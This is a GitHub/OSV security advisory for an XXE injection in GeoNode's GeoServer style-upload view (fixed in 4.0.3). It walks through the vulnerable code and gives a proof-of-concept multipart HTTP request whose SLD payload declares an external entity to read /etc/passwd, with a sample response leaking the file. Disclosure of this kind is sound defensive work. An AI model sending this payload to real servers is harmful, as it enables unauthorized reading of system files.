GHSA-mcmc-c59m-pqq8

Suggest an improvement
Source
https://github.com/advisories/GHSA-mcmc-c59m-pqq8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-mcmc-c59m-pqq8/GHSA-mcmc-c59m-pqq8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-mcmc-c59m-pqq8
Aliases
Related
Published
2024-08-30T18:50:00Z
Modified
2024-11-20T05:26:21.705355Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
  • 7.1 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection
Details

Summary

GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details

GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
    def respond(*args, **kw):
        kw['content_type'] = 'text/html'
        return json_response(*args, **kw)
    ...
    sld = request.FILES['sld'].read() # 1
    sld_name = None
    try:
        # Check SLD is valid
        ...
        sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
    except Exception as e:
        respond(errors=f"The uploaded SLD file is not valid XML: {e}")
    name = data.get('name') or sld_name
    set_dataset_style(layer, data.get('title') or name, sld)
    return respond(
        body={
            'success': True,
            'style': data.get('title') or name, # 3
            'updated': data['update']})

dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
    try:
        if sld:
            if isfile(sld):
                with open(sld, "rb") as sld_file:
                    sld = sld_file.read() # 1
            if isinstance(sld, str):
                sld = sld.encode('utf-8')
            dom = etree.XML(sld) # 2
        ...
    named_dataset = dom.findall(
        "{http://www.opengis.net/sld}NamedLayer")
    el = None
    if named_dataset and len(named_dataset) > 0:
        user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
        if user_style and len(user_style) > 0:
            el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
    ...
    return el[0].text # 4

extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC

  1. Create a guest/non-privileged account and log in.
  2. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASET_NAME>.
  3. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:
    POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
    Host: localhost
    Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
    X-Csrftoken: <CSRF-TOKEN>
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
    Content-Length: 485
    ------WebKitFormBoundaryfoo
    Content-Disposition: form-data; name="layerid"
    1
    ------WebKitFormBoundaryfoo
    Content-Disposition: form-data; name="sld"; filename="foo.sld"
    Content-Type: application/octet-stream
    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
    <foo xmlns="http://www.opengis.net/sld">
      <NamedLayer>
        <UserStyle>
            <Name>&ent;</Name>
        </UserStyle>
      </NamedLayer>
    </foo>
    ------WebKitFormBoundaryfoo--
    

Sample response:

HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}

Impact

This issue may lead to authenticated Arbitrary File Read.

Database specific
{
    "nvd_published_at": "2023-02-27T21:15:12Z",
    "cwe_ids": [
        "CWE-611"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-30T18:50:00Z"
}
References

Affected packages

PyPI / geonode

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.0.3

Affected versions

2.*

2.0.dev20130913181950
2.0.dev20140626191247
2.0b3
2.0b4
2.0b5
2.0b7
2.0b10
2.0b11
2.0b12
2.0b13
2.0b17
2.0b18
2.0b19
2.0b21
2.0b22
2.0b24
2.0b25
2.0b26
2.0b27
2.0b28
2.0b29
2.0b30
2.0b31
2.0b32
2.0b33
2.0b34
2.0b35
2.0b36
2.0b37
2.0b38
2.0b39
2.0b40
2.0b41
2.0b42
2.0b43
2.0b44
2.0b45
2.0b46
2.0b48
2.0b49
2.0b50
2.0b51
2.0b52
2.0b53
2.0b54
2.0b55
2.0b57
2.0b58
2.0b59
2.0b60
2.0b61
2.0b62
2.0b63
2.0b64
2.0c1
2.0c2
2.0c3
2.0c4
2.0c5
2.0c7
2.0c8
2.0c12
2.0c13
2.0
2.0.1
2.4a1
2.4a2
2.4a3
2.4a4
2.4a5
2.4a6
2.4a7
2.4a8
2.4a9
2.4a10
2.4a11
2.4a12
2.4a13
2.4a14
2.4a15
2.4a16
2.4a17
2.4a18
2.4a19
2.4a20
2.4a21
2.4a22
2.4a23
2.4a24
2.4a25
2.4a26
2.4a28
2.4a29
2.4a30
2.4a31
2.4a32
2.4a33
2.4a34
2.4a35
2.4a36
2.4a38
2.4b1
2.4b2
2.4b3
2.4b4
2.4b5
2.4b6
2.4b7
2.4b8
2.4b10
2.4b11
2.4b12
2.4b13
2.4b14
2.4b15
2.4b16
2.4b17
2.4b18
2.4b19
2.4b20
2.4b21
2.4b22
2.4b23
2.4b24
2.4b25
2.4b26
2.4b27
2.4b28
2.4c1
2.4c2
2.4c3
2.4c4
2.4
2.4.1
2.5.dev20160825082804
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.5.7
2.5.9.dev20170116091328
2.5.9
2.5.10
2.5.12
2.5.13
2.5.14
2.5.15
2.6a1
2.6c1
2.6
2.6.1
2.6.2
2.6.3
2.7
2.7.1.dev20171013151516
2.7.2.dev20171013181854
2.7.4.dev20171114161428
2.7.5.dev20180123130714
2.7.5.dev20180125135927
2.8rc0
2.8rc1
2.8rc2
2.8rc3
2.8rc4
2.8rc5
2.8rc6
2.8rc7
2.8rc8
2.8rc9
2.8rc10
2.8rc11
2.8rc12
2.8rc13
2.8
2.8.1rc0
2.8.1
2.10rc0
2.10rc1
2.10rc2
2.10rc3
2.10rc4
2.10rc5
2.10
2.10.1
2.10.2
2.10.3
2.10.4

3.*

3.0.0
3.1.0
3.1.1
3.2.0
3.2.1
3.2.2
3.2.3
3.2.3.post1
3.2.4
3.3.0
3.3.1
3.3.1.post1
3.3.2
3.3.2.post1
3.3.2.post2
3.3.3

4.*

4.0.0rc0
4.0.0rc1
4.0.0
4.0.0.post1
4.0.1
4.0.2